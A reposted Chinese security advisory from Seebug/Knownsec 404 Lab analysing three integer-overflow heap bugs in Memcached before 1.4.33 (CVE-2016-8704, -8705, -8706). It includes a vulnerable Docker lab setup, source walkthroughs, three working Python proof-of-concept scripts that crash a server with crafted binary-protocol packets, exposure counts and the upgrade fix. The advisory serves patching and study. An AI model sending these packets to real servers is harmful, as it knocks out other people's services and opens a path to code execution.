专栏首页Seebug漏洞平台Memcached 命令执行漏洞(CVE-2016-8704、CVE-2016-8705、CVE-2016-8706)简析

Memcached 命令执行漏洞(CVE-2016-8704、CVE-2016-8705、CVE-2016-8706)简析

Author: p0wd3r, dawu (知道创宇404安全实验室)

Date: 2016-11-01

0x00 漏洞概述

1.漏洞简介

Memcached是一个分布式的高速缓存系统,近日研究者发现在其<1.4.33的版本中存在三个整数溢出漏洞(http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html),通过这几个漏洞攻击者可以触发堆溢出进而远程执行任意命令。官方在11月1日发布了升级公告

2.漏洞影响

任意命令执行

3.影响版本

< 1.4.33

0x01 漏洞复现

1. 环境搭建

Dockerfile:

FROM debian:jessie

# add our user and group first to make sure their IDs get assigned consistently, regardless of whatever dependencies get added
RUN groupadd -r memcache && useradd -r -g memcache memcache

RUN apt-get update && apt-get install -y --no-install-recommends \  
                libevent-2.0-5 \        
        && rm -rf /var/lib/apt/lists/*

ENV MEMCACHED_VERSION 1.4.32

RUN buildDeps=' \  
                gcc \
                libc6-dev \
                libevent-dev \
                make \
                perl \
                wget \
        ' \        
        && set -x \        
        && apt-get update && apt-get install -y $buildDeps --no-install-recommends \        
        && rm -rf /var/lib/apt/lists/* \        
        && wget -O memcached.tar.gz "http://memcached.org/files/memcached-$MEMCACHED_VERSION.tar.gz" \        
        && mkdir -p /usr/src/memcached \        
        && tar -xzf memcached.tar.gz -C /usr/src/memcached --strip-components=1 \        
        && rm memcached.tar.gz \        
        && cd /usr/src/memcached \        
        && ./configure \        
        && make -j$(nproc) \        
        && make install \        
        && cd / && rm -rf /usr/src/memcached \        
        && apt-get purge -y --auto-remove $buildDeps

COPY docker-entrypoint.sh /usr/local/bin/  
RUN ln -s usr/local/bin/docker-entrypoint.sh /entrypoint.sh # backwards compat  
ENTRYPOINT ["docker-entrypoint.sh"]

USER memcache  
EXPOSE 11211  
CMD ["memcached", "-vv"]  

docker-entrypoint.sh:

#!/bin/sh
set -e

# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then          
        set -- memcached "$@"
fi

exec "$@"
docker run --name mem-vuln memcached:vuln  

2.漏洞分析

漏洞作者已经提供了很详细的描述,在这里仅做简单的翻译和整理。

Memcached支持两种协议来存取数据:ASCII和binary,当我们用binary存取时会出现漏洞。

三个漏洞的触发点均在item.c中的do_item_alloc函数中,关键部分如下:

size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);  
...
it = slabs_alloc(ntotal, id, &total_bytes, 0);  
...
memcpy(ITEM_key(it), key, nkey);  
it->exptime = exptime;  
memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);  
it->nsuffix = nsuffix;  

程序根据用户可控的nkeynbytes来创建分配内存的大小,然后将另一个可控的key拷贝到分配的内存区域中,在这个函数汇总并没有对数据长度进行检测,所以如果key的大小 > 分配空间的大小,则会导致堆溢出。

下面分别看这三个漏洞:

CVE-2016-8704:

memcached.c中,当进行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a) 操作时会进入这样一个分支:

case PROTOCOL_BINARY_CMD_APPEND:  
case PROTOCOL_BINARY_CMD_PREPEND:  
    if (keylen > 0 && extlen == 0) {
        bin_read_key(c, bin_reading_set_header, 0);
    } else {
        protocol_error = 1;
    }
    break;

这里并仅检查了key的长度,并没有检查body的长度。

解析完binary后程序进入了process_bin_append_prepend函数中:

assert(c != NULL);

key = binary_get_key(c);  
nkey = c->binary_header.request.keylen;    [2]  
vlen = c->binary_header.request.bodylen - nkey; [3]

if (settings.verbose > 1) {  
    fprintf(stderr, "Value len is %d\n", vlen);
}

if (settings.detail_enabled) {  
    stats_prefix_record_set(key, nkey);
}

it = item_alloc(key, nkey, 0, 0, vlen+2); [4]  

这里取我们请求中keylenbodylen,然后并没有做长度检测,最后调用item_alloc来存储数据,而item_alloc是之前提到的do_item_alloc的封装,所以最后在do_item_alloc中触发溢出。

PoC:

import struct  
import socket  
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"  
OPCODE_PREPEND_Q = "\x1a"  
key_len = struct.pack("!H",0xfa)  
extra_len = "\x00"  
data_type = "\x00"  
vbucket = "\x00\x00"  
body_len = struct.pack("!I",0)  
opaque = struct.pack("!I",0)  
CAS = struct.pack("!Q",0)  
body = "A"*1024

if len(sys.argv) != 3:  
        print "./poc_crash.py <server> <port>"

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len  
packet += data_type + vbucket + body_len + opaque + CAS  
packet += body

set_packet = "set testkey 0 60 4\r\ntest\r\n"  
get_packet = "get testkey\r\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s1.connect((sys.argv[1],int(sys.argv[2])))  
s1.sendall(set_packet)  
print s1.recv(1024)  
s1.close()

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s2.connect((sys.argv[1],int(sys.argv[2])))  
s2.sendall(packet)  
print s2.recv(1024)  
s2.close()

s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s3.connect((sys.argv[1],int(sys.argv[2])))  
s3.sendall(get_packet)  
s3.recv(1024)  
s3.close()  

Crash:

CVE-2016-8705:

memcached.c中,当进行Set (opcode 0x01),Add (opcode 0x02), Replace (opcode 0x03) ,SetQ (opcode 0x11), AddQ (opcode 0x12) ,ReplaceQ (opcode 0x13)作时会进入这样一个分支:

case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */  
case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */  
case PROTOCOL_BINARY_CMD_REPLACE:  
    if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {
        bin_read_key(c, bin_reading_set_header, 8);
    } else {
        protocol_error = 1;
    }

在这里需满足bodylen >= (keylen + 8),这里要注意的是各变量类型如下:

int extlen = c->binary_header.request.extlen;  
int keylen = c->binary_header.request.keylen;  
uint32_t bodylen = c->binary_header.request.bodylen;  

解析后程序进入process_bin_update

static void process_bin_update(conn *c) {  
    char *key;
    int nkey;                            
    int vlen;                            
    item *it;
    protocol_binary_request_set* req = binary_get_request(c);

    assert(c != NULL);

    key = binary_get_key(c);
    nkey = c->binary_header.request.keylen;

    /* fix byteorder in the request */
    req->message.body.flags = ntohl(req->message.body.flags);
    req->message.body.expiration = ntohl(req->message.body.expiration);

    vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen);
    ...
    it = item_alloc(key, nkey, req->message.body.flags,
    realtime(req->message.body.expiration), vlen+2);

由于bodylen为无符号整形,在赋值给整形的vlen时会做类型转换,这样导致当我们设置bodylen最高位为1时在转换成整形时bodylen会变成一个负数,最后vlen也就成了一个负数,进而调用item_alloc触发漏洞。

PoC:

import struct  
import socket  
import sys


MEMCACHED_REQUEST_MAGIC = "\x80"  
OPCODE_ADD = "\x02"  
key_len = struct.pack("!H",0xfa)  
extra_len = "\x08"  
data_type = "\x00"  
vbucket = "\x00\x00"  
body_len = struct.pack("!I",0xffffffd0)  
opaque = struct.pack("!I",0)  
CAS = struct.pack("!Q",0)  
extras_flags = 0xdeadbeef  
extras_expiry = struct.pack("!I",0xe10)  
body = "A"*1024

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len  
packet += data_type + vbucket + body_len + opaque + CAS  
packet += body  
if len(sys.argv) != 3:  
        print "./poc_add.py <server> <port>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
s.sendall(packet)  
print s.recv(1024)  
s.close()

Crash:

CVE-2016-8706:

在使用SASL进行认证时,进入process_bin_sasl_auth函数:

static void process_bin_sasl_auth(conn *c) {  
    // Guard for handling disabled SASL on the server.    
    if (!settings.sasl) {
        write_bin_error(c, PROTOCOL_BINARY_RESPONSE_UNKNOWN_COMMAND, NULL,
                        c->binary_header.request.bodylen                        
                        - c->binary_header.request.keylen);
        return;
    }

    assert(c->binary_header.request.extlen == 0);

    int nkey = c->binary_header.request.keylen;        
    int vlen = c->binary_header.request.bodylen - nkey;    

    if (nkey > MAX_SASL_MECH_LEN) {        
        write_bin_error(c, PROTOCOL_BINARY_RESPONSE_EINVAL, NULL, vlen);
        c->write_and_go = conn_swallow;
        return;
    }

    char *key = binary_get_key(c);
    assert(key);

    item *it = item_alloc(key, nkey, 0, 0, vlen);

同第一漏洞,只要bodylen 小于keylen即可。

PoC:

import struct  
import socket  
import sys


MEMCACHED_REQUEST_MAGIC = "\x80"  
OPCODE_SET = "\x21"  
key_len = struct.pack("!H",32)  
body_len = struct.pack("!I",1)  
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len +   body_len*2 + "A"*1000  
if len(sys.argv) != 3:  
    print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
s.sendall(packet)  
print s.recv(1024)  
s.close()  

Crash:

3.补丁分析

在分配内存前检查了数据的大小,在sasl认证的函数中更改了数据类型并检查大小。

0x02 影响分布

zoomeye搜索关键词为: app:memcached,一共搜索到59756条结果,分布如下:

其中,中美两国收影响设备居多。以下是zoomeye中中国各省受影响主机分布:

0x03 修复方案

升级至1.4.33 (https://github.com/memcached/memcached/wiki/ReleaseNotes1433

0x04 参考

https://www.seebug.org/vuldb/ssvid-92505

https://www.seebug.org/vuldb/ssvid-92506

https://www.seebug.org/vuldb/ssvid-92507

https://github.com/memcached/memcached/wiki/ReleaseNotes1433

http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html

http://www.talosintelligence.com/reports/TALOS-2016-0219/

http://www.talosintelligence.com/reports/TALOS-2016-0220/

http://www.talosintelligence.com/reports/TALOS-2016-0221/

本文分享自微信公众号 - Seebug漏洞平台(seebug_org),作者:p0wd3r&dawu

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2016-11-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 从 0 开始入门 Chrome Ext 安全(一) -- 了解一个 Chrome Ext

    在2019年初,微软正式选择了Chromium作为默认浏览器,并放弃edge的发展。并在19年4月8日,Edge正式放出了基于Chromium开发的Edge D...

    Seebug漏洞平台
  • CVE-2017-5123 漏洞利用全攻略

    原文:https://salls.github.io/Linux-Kernel-CVE-2017-5123/

    Seebug漏洞平台
  • CVE-2017-5123 漏洞利用全攻略

    原文:https://salls.github.io/Linux-Kernel-CVE-2017-5123/ 译者:hello1900@知道创宇404实验室...

    Seebug漏洞平台
  • PHP设计模式之代理模式

    代理人这个职业在中国有另外一个称呼,房产经济人、保险经济人,其实这个职业在国外都是叫做房产代理或者保险代理。顾名思义,就是由他们来帮我们处理这些对我们大部分人来...

    硬核项目经理
  • java设计模式(6)-代理模式(必看的springAOP原理)

    代理模式 最典型的应用就是AOP,本文结合主要讲解了代理模式的几种实现方式:静态代理和动态代理,这里动态代理又可以分为jdk代理和Cglib代理

    爱敲代码的猫
  • 未来几年SDN将进一步提升云服务利润率

    云计算、大数据、移动互联网等技术趋势的全面兴起,使得ICT行业向“软件定义”方向倾斜的趋势越发明显,软件定义网络SDN和网络功能虚拟化NFV等未来网络技术也越发...

    SDNLAB
  • Spring AOP 相关概念(学前必知)

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

    多凡
  • SDN专访:Pica8杨勇涛谈SDN控制器格局

    提起这两年SDN的发展,大热一词就足以概括各厂商对它的重视程度。SDN目前处于技术发展曲线的上升期,越来越多的用户开始接受并且部署SDN,预计2016年会看到越...

    SDNLAB
  • java动态代理实现与原理详细分析

    代理模式是常用的java设计模式,他的特征是代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。代...

    朝雨忆轻尘
  • JAVA面试50讲之9:动态代理的原理是什么?

    关于Java中的动态代理,我们首先需要了解的是一种常用的设计模式—代理模式,而对于代理,根据创建代理类的时间点,又可以分为静态代理和动态代理。

    用户1205080

扫码关注云+社区

领取腾讯云代金券